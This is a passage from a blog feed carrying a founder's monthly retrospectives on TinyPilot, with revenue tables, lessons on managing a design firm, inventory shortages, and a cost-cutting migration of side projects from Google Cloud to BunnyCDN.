&lt;p>First, I asked the designers to focus on completing the logo. Two days later, we had the final logo. Great! Now, I at least had a tangible artifact of the design work that I could publish and use.&lt;/p>
&lt;p>Next, I requested that the design firm pause and map out the remaining work in terms of milestones, calendar time, and billable hours. Instead of focusing on all the pages at once, I suggested that we focus on completing one page at a time. That way, as soon as we finish a page, I can hand the designs to my dev team for implementation rather than blocking dev work until the entire project is complete.&lt;/p>
&lt;p>The design firm took it well. They said they typically work on larger projects where the milestones are at the scale of months, but they were happy to slice the work into more granular segments to support the style of incremental development I wanted.&lt;/p>
&lt;h2 id="the-last-unfilled-role-tech-support">The last unfilled role: tech support&lt;/h2>
&lt;p>One of my goals for 2021 was to systematize enough of TinyPilot that &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#automate-tinypilot-management">I could take a two-week vacation&lt;/a> without impacting operations.&lt;/p>
&lt;p>Over the December holidays, I took a one-week vacation where I didn&amp;rsquo;t read any TinyPilot email. Everything went smoothly, but it took me several days to get through the backlog of technical support requests when I got back.&lt;/p>
&lt;p>A member of my fulfillment staff has stepped up and taken over for most customer support requests, but he doesn&amp;rsquo;t have a background in software or IT. There are still 2-5 support requests per day that need to be escalated to a support engineer. And right now, the only support engineer is me.&lt;/p>
&lt;p>This has made me realize that the next role I need for TinyPilot is a support engineer. I&amp;rsquo;ve never hired for that before, but I know that &lt;a href="https://twitter.com/yongfook">Jon Yongfook&lt;/a> of &lt;a href="https://www.bannerbear.com/">Bannerbear&lt;/a> recently &lt;a href="https://twitter.com/yongfook/status/1444836336364523520">hired his first support engineer&lt;/a>, so maybe I can piggyback on the things he shared.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>17,790&lt;/td>
 &lt;td>15,781&lt;/td>
 &lt;td>&lt;font color="red">-2,009 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>40,722&lt;/td>
 &lt;td>35,740&lt;/td>
 &lt;td>&lt;font color="red">-4,982 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>15.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>&lt;font color="red">-4.0 (-27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$235.36&lt;/td>
 &lt;td>$171.00&lt;/td>
 &lt;td>&lt;font color="red">-$64.36 (-27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$26.25&lt;/td>
 &lt;td>$30.21&lt;/td>
 &lt;td>&lt;font color="green">+$3.96 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$261.61&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$201.21&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$60.40 (-23%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>December is typically a slow month for Is It Keto, but I usually see traffic double in January as people begin thinking about diet-related New Year&amp;rsquo;s resolutions. I&amp;rsquo;ve let the site languish in 2021, but I&amp;rsquo;m hoping to see a bump back up to ~$400/month for the first few months of 2022.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>159&lt;/td>
 &lt;td>106&lt;/td>
 &lt;td>&lt;font color="red">-53 (-33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$94.57&lt;/td>
 &lt;td>$19.30&lt;/td>
 &lt;td>&lt;font color="red">-$75.27 (-80%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>&lt;font color="green">+$27.30 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$94.57&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$46.60&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$47.97 (-51%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It was a slow month for Hit the Front Page of Hacker News. Not a lot of technical blogging around the holidays, I guess.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>576&lt;/td>
 &lt;td>461&lt;/td>
 &lt;td>&lt;font color="red">-115 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,489&lt;/td>
 &lt;td>1,176&lt;/td>
 &lt;td>&lt;font color="red">-313 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$727.17&lt;/td>
 &lt;td>$1,252.31&lt;/td>
 &lt;td>&lt;font color="green">+$525.14 (+72%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$727.17&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,252.31&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$525.14 (+72%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>2021 has been a nice, quiet comeback story for Zestful. I&amp;rsquo;ve left it on auto-pilot since early 2020, but there&amp;rsquo;s been consistent growth in paid usage. These are all pay-as-you-go customers, and I&amp;rsquo;m skeptical that monthly revenue will remain this high, but I&amp;rsquo;m enjoying it while it lasts.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager-2">TinyPilot Voyager 2&lt;/a>.&lt;/li>
&lt;li>Debuted TinyPilot&amp;rsquo;s new logo.&lt;/li>
&lt;li>Migrated employee payroll from Justworks to Gusto.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Define expectations with designers and enforce them consistently.
&lt;ul>
&lt;li>The firm I hired creates high-quality designs, but I let myself get into a position where I had no usable work after three months and $16k.&lt;/li>
&lt;li>What I should have done was more aggressively insist on a structure that facilitated iterative design.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Launch Voyager 2: PoE Edition&lt;/li>
&lt;li>Write a job description for TinyPilot support engineer and begin interviewing candidates.&lt;/li>
&lt;li>Publish my fourth &lt;a href="https://mtlynch.io/tags/annual-review/">annual retrospective&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 17</title><link>https://mtlynch.io/retrospectives/2021/12/</link><pubDate>Mon, 06 Dec 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/12/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot&amp;rsquo;s sales jumped to $57k, and it might be sustainable.&lt;/li>
&lt;li>I&amp;rsquo;m just about to launch TinyPilot&amp;rsquo;s new product and branding.&lt;/li>
&lt;li>I reduced Google Cloud Platform fees by 90% on my side projects.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="complete-tinypilots-website-rebrand">Complete TinyPilot’s website rebrand&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The rebrand is 95% done, but we haven&amp;rsquo;t published it yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve finalized a logo concept and color scheme with the design firm, but we&amp;rsquo;re still working out some fine details before we pull the trigger on the new branding.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot&amp;rsquo;s sales jumped to $57k, and it might be sustainable.&lt;/li>
&lt;li>I&amp;rsquo;m just about to launch TinyPilot&amp;rsquo;s new product and branding.&lt;/li>
&lt;li>I reduced Google Cloud Platform fees by 90% on my side projects.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="complete-tinypilots-website-rebrand">Complete TinyPilot’s website rebrand&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The rebrand is 95% done, but we haven&amp;rsquo;t published it yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve finalized a logo concept and color scheme with the design firm, but we&amp;rsquo;re still working out some fine details before we pull the trigger on the new branding.&lt;/p>
&lt;h3 id="prepare-for-voyager-2-launch-as-soon-as-the-hardware-is-ready">Prepare for Voyager 2 launch as soon as the hardware is ready&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Everything is in place to launch within a week of receiving the hardware&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s been a long slog to get the custom hardware we need for the Voyager 2, but we completed manufacturing and received the first batch of hardware last week, so we should be ready to launch this week. We&amp;rsquo;re a little behind where I hoped to be because we&amp;rsquo;ve had trouble keeping up with demand for Voyager 1, but it should only delay us by a day or two.&lt;/p>
&lt;h3 id="hire-a-marketing-firm-or-freelancer-to-help-tinypilot-explore-paid-marketing-channels">Hire a marketing firm or freelancer to help TinyPilot explore paid marketing channels&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Punted on this due to changing priorities&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>I spoke to a few marketing firms, but I wasn&amp;rsquo;t ready to hire anyone yet. We&amp;rsquo;re struggling to keep up with TinyPilot&amp;rsquo;s growing sales as it is, so I&amp;rsquo;m pausing on marketing and focusing on scaling production to meet our current demand.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2021&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,898&lt;/td>
 &lt;td>7,983&lt;/td>
 &lt;td>&lt;font color="green">+1,085 (+16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>13,008&lt;/td>
 &lt;td>14,596&lt;/td>
 &lt;td>&lt;font color="green">+1,588 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$34,927.55&lt;/td>
 &lt;td>$56,626.33&lt;/td>
 &lt;td>&lt;font color="green">+$21,698.78 (+62%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$48.00&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>&lt;font color="red">-$0.25 (-1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$6,804.53&lt;/td>
 &lt;td>$8,185.78&lt;/td>
 &lt;td>&lt;font color="green">+$1,381.25 (+20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$41,780.08&lt;/td>
 &lt;td>$64,859.86&lt;/td>
 &lt;td>&lt;font color="green">+$23,079.78 (+55%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,936.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12,758.39&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$10,822.17 (+559%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="reducing-to-a-single-product-nearly-doubled-sales">Reducing to a single product nearly doubled sales&lt;/h2>
&lt;p>Due to supply shortages, I retired TinyPilot&amp;rsquo;s lower-cost product in October to focus on our premium product, the TinyPilot Voyager. That reduced the product catalog to just the Voyager and some accessories that don&amp;rsquo;t generate many sales, so I decided to scrap the catalog page.&lt;/p>
&lt;p>I basically just removed a link from the site&amp;rsquo;s navigation bar.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/navbar-remove.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/navbar-remove_hu_f554952b28899db9.png 300w, https://mtlynch.io/retrospectives/2021/12/navbar-remove_hu_feeef305b4803ae2.png 600w, https://mtlynch.io/retrospectives/2021/12/navbar-remove_hu_8fb0cb1cfbbf6e88.png 800w, https://mtlynch.io/retrospectives/2021/12/navbar-remove.png 1143w'
 src="https://mtlynch.io/retrospectives/2021/12/navbar-remove.png" alt="Screenshot of old product catalog page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/no-product-page.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/no-product-page_hu_ebba635f0e9ecc3f.png 300w, https://mtlynch.io/retrospectives/2021/12/no-product-page_hu_1fc211ac8fd3c225.png 600w, https://mtlynch.io/retrospectives/2021/12/no-product-page_hu_bcebee7a128659c6.png 800w, https://mtlynch.io/retrospectives/2021/12/no-product-page.png 1143w'
 src="https://mtlynch.io/retrospectives/2021/12/no-product-page.png" alt="Screenshot of old product catalog page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The highest impact change I ever made on the TinyPilot website was removing a navigation bar link to a product catalog page.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>In last month&amp;rsquo;s retrospective, I mentioned that I was &lt;a href="https://mtlynch.io/retrospectives/2021/11/#simplifying-to-just-one-product">starting to see sales trending upwards&lt;/a> and wondered whether it was related to simplifying the product offering. After a month of extra data, I&amp;rsquo;m pretty convinced that it made a huge difference:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated_hu_56ff57dc9699a7e6.png 300w, https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated_hu_559b6edce06ddf34.png 600w, https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated_hu_4ffd63da3a94470e.png 800w, https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated.png 852w'
 src="https://mtlynch.io/retrospectives/2021/12/tp-sales-consolidated.png" alt="Graph of TinyPilot sales over time, trending upwards after the consolidation to one product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s weekly sales before and after consolidating the website to a single product&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We&amp;rsquo;ve had spikes in sales before, but they always followed some obvious event like a mention on YouTube or a review on a popular website. Sales would spike and then slowly subside.&lt;/p>
&lt;p>Since the consolidation to a single product, sales have been as high as our spikes in the past, except they don&amp;rsquo;t seem to be tapering off like they do for one-time events.&lt;/p>
&lt;p>If I&amp;rsquo;m correct that the sales increase came from eliminating the catalog page, it&amp;rsquo;s the highest return on investment from anything I&amp;rsquo;ve done with TinyPilot. I got a 62% sales jump by removing one link!&lt;/p>
&lt;h2 id="the-return-of-growing-pains">The return of growing pains&lt;/h2>
&lt;p>For the first six months of TinyPilot, I was always scrambling to keep up with growth. Sales were doubling every four to eight weeks, so I constantly had to search for new suppliers and reinvent processes to scale up the business. While that growth was exciting, it was also exhausting. I was glad to settle into a more consistent, predictable pace for most of 2021.&lt;/p>
&lt;p>The latest sales increase has brought back some growing pains. We have contingency plans for sales spikes, and they&amp;rsquo;ve served us well this year, but we didn&amp;rsquo;t have a plan for sustained growth like this.&lt;/p>
&lt;h3 id="running-out-of-power-connectors">Running out of power connectors&lt;/h3>
&lt;p>First, we noticed that we were using &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">power connectors&lt;/a> at a fast enough rate that we&amp;rsquo;d run out before our next delivery of circuit boards, which would prevent us from selling Voyagers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/power-connector-connected.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/power-connector-connected_hu_c168ffa596424dc4.jpg 300w, https://mtlynch.io/retrospectives/2021/12/power-connector-connected_hu_da86b0f8cac79213.jpg 600w, https://mtlynch.io/retrospectives/2021/12/power-connector-connected_hu_7863bc8533d885c8.jpg 800w, https://mtlynch.io/retrospectives/2021/12/power-connector-connected_hu_501cb2f0b42b1df4.jpg 1200w, https://mtlynch.io/retrospectives/2021/12/power-connector-connected.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/12/power-connector-connected.jpg" alt="Photo of TinyPilot Power Connector" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>We came within days of running out of TinyPilot Power Connectors.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I listed them out of stock for individual sale, and that slowed down the pace &lt;em>just&lt;/em> enough to last us until the new shipment arrived.&lt;/p>
&lt;p>&lt;em>[Sidenote: If you&amp;rsquo;re wondering why I was still selling power connectors even though I &lt;a href="#reducing-to-a-single-product-nearly-doubled-sales">just made a huge deal&lt;/a> about not selling anything but Voyagers, I can explain. There are still working links to some of TinyPilot&amp;rsquo;s secondary products through my &lt;a href="https://mtlynch.io/tinypilot/#how-to-build-your-own-tinypilot">DIY TinyPilot guide&lt;/a>, but users can&amp;rsquo;t easily discover those pages by visiting the TinyPilot website.]&lt;/em>&lt;/p>
&lt;h3 id="running-our-of-ribbon-cables">Running our of ribbon cables&lt;/h3>
&lt;p>Next, we started running low on ribbon cables. We typically buy them in bulk, and we have so many on hand that it&amp;rsquo;s not even worth tracking them in our inventory system. But because we&amp;rsquo;re not tracking them, we didn&amp;rsquo;t notice that our last order was running late. We were down to just 30 cables, enough to make only a few days&amp;rsquo; worth of Voyagers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/ribbon-cables.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/ribbon-cables_hu_a9d8ced8543c1267.jpg 300w, https://mtlynch.io/retrospectives/2021/12/ribbon-cables_hu_6312d36bc47c07eb.jpg 600w, https://mtlynch.io/retrospectives/2021/12/ribbon-cables_hu_19687b436ae0d147.jpg 800w, https://mtlynch.io/retrospectives/2021/12/ribbon-cables_hu_7a857c801041da2d.jpg 1200w, https://mtlynch.io/retrospectives/2021/12/ribbon-cables.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2021/12/ribbon-cables.jpg" alt="Photo of ribbon cable we use for TinyPilot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s sales almost ground to a halt because we ran out of 70mm ribbon cables.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We use a non-standard ribbon cable size, so we get them special-ordered. Was I going to have to halt sales for weeks because of something as stupid as ribbon cables?&lt;/p>
&lt;p>Luckily, our supplier was able to expedite our order and get us new cables within days. I also panic-bought another 1,500, so we should be fine for a while.&lt;/p>
&lt;p>In addition, we&amp;rsquo;re going to start tracking these cables in our normal inventory system. We realized our informal tracking made it too difficult to tell the difference between &amp;ldquo;time to place a leisurely new order&amp;rdquo; and &amp;ldquo;this is an emergency!&amp;rdquo;&lt;/p>
&lt;h3 id="scaling-3d-printing">Scaling 3D printing&lt;/h3>
&lt;p>The last shortage is the one we still haven&amp;rsquo;t solved: the cases. We&amp;rsquo;ve always 3D-printed the cases because it gives us the flexibility to iterate quickly. We use a 3D-printing material that has a premium feel, and we frequently hear feedback from customers and reviewers about the quality of the case.&lt;/p>
&lt;p>The problem is that 3D printing is slow, especially the material we use. It takes eight hours to print each Voyager 1 case. The Voyager 2 will take twelve hours. Our 3D-printing vendor bought an additional printer for us, but I expect to exceed the new capacity when we switch to Voyager 2. Sadly, our vendor can&amp;rsquo;t just buy new printers every time we increase sales.&lt;/p>
&lt;p>In the short term, TinyPilot&amp;rsquo;s EU distributor is printing cases locally instead of buying them from us, so that lightens the load on our printer by about 30%. For the long-term, I&amp;rsquo;m working with my 3D-printing vendor to explore other materials that print faster but still have a premium feel. It also might be time to revisit &lt;a href="https://mtlynch.io/retrospectives/2021/02/#scaling-manufacturing">injection molding&lt;/a>, which costs $20-40k upfront but has an output of thousands of cases per week.&lt;/p>
&lt;h2 id="migrating-my-side-projects-away-from-google-cloud-platform">Migrating my side projects away from Google Cloud Platform&lt;/h2>
&lt;p>I mainly focus on my main business in these retrospectives, but I had some fun this past month migrating my side projects off of Google Cloud Platform (GCP).&lt;/p>
&lt;p>I started using GCP about eight years ago. At the time, most cloud providers charged $10-20/mo to host a web app. Google services like AppEngine and Firebase could scale down to $0/mo for small projects, which made experimentation attractive. I&amp;rsquo;m much more likely to publish a new project if I know I&amp;rsquo;m not committing myself to pay $20/mo indefinitely.&lt;/p>
&lt;p>Today, GCP is usually a poor solution for small projects. The services are so bloated and complex that it takes me about an hour of fiddling with settings and permissions to create and deploy a new, basic web app. Fortunately, there are great alternatives to GCP that offer lower costs, better development experience, and superior customer support (by which I mean &lt;em>any&lt;/em> customer support).&lt;/p>
&lt;p>Because I used GCP for so long, many of my side projects are still running on Google Cloud Platform, and they&amp;rsquo;ve been accruing more and more service fees. I spent evenings and weekends last month migrating my most expensive services away from GCP.&lt;/p>
&lt;p>Here are what my GCP costs looked like before the great migration:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/gcp-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/gcp-before_hu_2cf920e7d9130874.png 300w, https://mtlynch.io/retrospectives/2021/12/gcp-before_hu_7afa377417f9c84a.png 600w, https://mtlynch.io/retrospectives/2021/12/gcp-before_hu_b4e77fd71c33f0a9.png 800w, https://mtlynch.io/retrospectives/2021/12/gcp-before.png 1109w'
 src="https://mtlynch.io/retrospectives/2021/12/gcp-before.png" alt="Graph of costs on GCP, totaling $252.71 from August to October" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Fees for hosting my side projects on GCP from August to October 2021&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>And here&amp;rsquo;s what costs looked like when I was finished:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/gcp-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/gcp-after_hu_48dbe69bc9d0816f.png 300w, https://mtlynch.io/retrospectives/2021/12/gcp-after_hu_48422108a19270cd.png 600w, https://mtlynch.io/retrospectives/2021/12/gcp-after_hu_fd59f2471a77d978.png 800w, https://mtlynch.io/retrospectives/2021/12/gcp-after.png 1111w'
 src="https://mtlynch.io/retrospectives/2021/12/gcp-after.png" alt="Graph of GCP service fees trending toward zero" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Fees for Google Cloud services after migrating to Google Cloud alternatives in November&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="http-load-balancing---37mo">HTTP Load Balancing - $37/mo&lt;/h3>
&lt;p>HTTP load balancing was a big gotcha.&lt;/p>
&lt;p>On &lt;a href="https://whatgotdone.com">What Got Done&lt;/a> and &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, I let users upload images, and then I store the uploads in Google Cloud Storage (GCS) buckets. By default, GCS URLs are big, ugly messes like &lt;code>https://storage.googleapis.com/whatgotdone-public/...&lt;/code>. I wanted a nice, tidy URL like &lt;code>https://media.whatgotdone.com&lt;/code>.&lt;/p>
&lt;p>This simple &lt;a href="https://cloud.google.com/storage/docs/hosting-static-website">80-step process&lt;/a> explains the Google way of serving GCS files from a subdomain. It involves provisioning a static IPv4 address, setting up an HTTP load balancer, and generating a TLS certificate. I went through all those steps, not realizing that the load balancer would drive up my costs by about $18/mo per site.&lt;/p>
&lt;p>I dramatically reduced that cost by switching to &lt;a href="https://bunny.net/">BunnyCDN&lt;/a>. I worried that setting up a whole CDN would be a pain, but it was incredibly simple. Less than 30 minutes after discovering BunnyCDN as a service, it was serving my Google Cloud Storage bucket through the &lt;code>media.whatgotdone.com&lt;/code> domain. All I had to do was tell Bunny the GCS bucket URL and the subdomain I wanted, then add a DNS entry.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup_hu_ebc8fc0f2bb4b0d9.png 300w, https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup_hu_e744364e7e5e3f23.png 600w, https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup_hu_51940746ea90b76.png 800w, https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup_hu_51617b66bdc028b0.png 1200w, https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup.png 1241w'
 src="https://mtlynch.io/retrospectives/2021/12/bunnycdn-setup.png" alt="Screenshot of BunnyCDN pull zone setup page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>BunnyCDN allowed me to customize the domain name for my GCS bucket in just three steps.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>BunnyCDN&amp;rsquo;s minimum charge is $1/mo total, whereas Google&amp;rsquo;s is ~$18/mo per site. I&amp;rsquo;m &lt;em>way&lt;/em> below the minimum charge. I&amp;rsquo;ve used 78.55 MB of bandwidth so far, so that would be about $0.0008 in fees. And even if I exceed BunnyCDN&amp;rsquo;s minimum, their bandwidth prices are less than 1/10th of Google&amp;rsquo;s.&lt;/p>
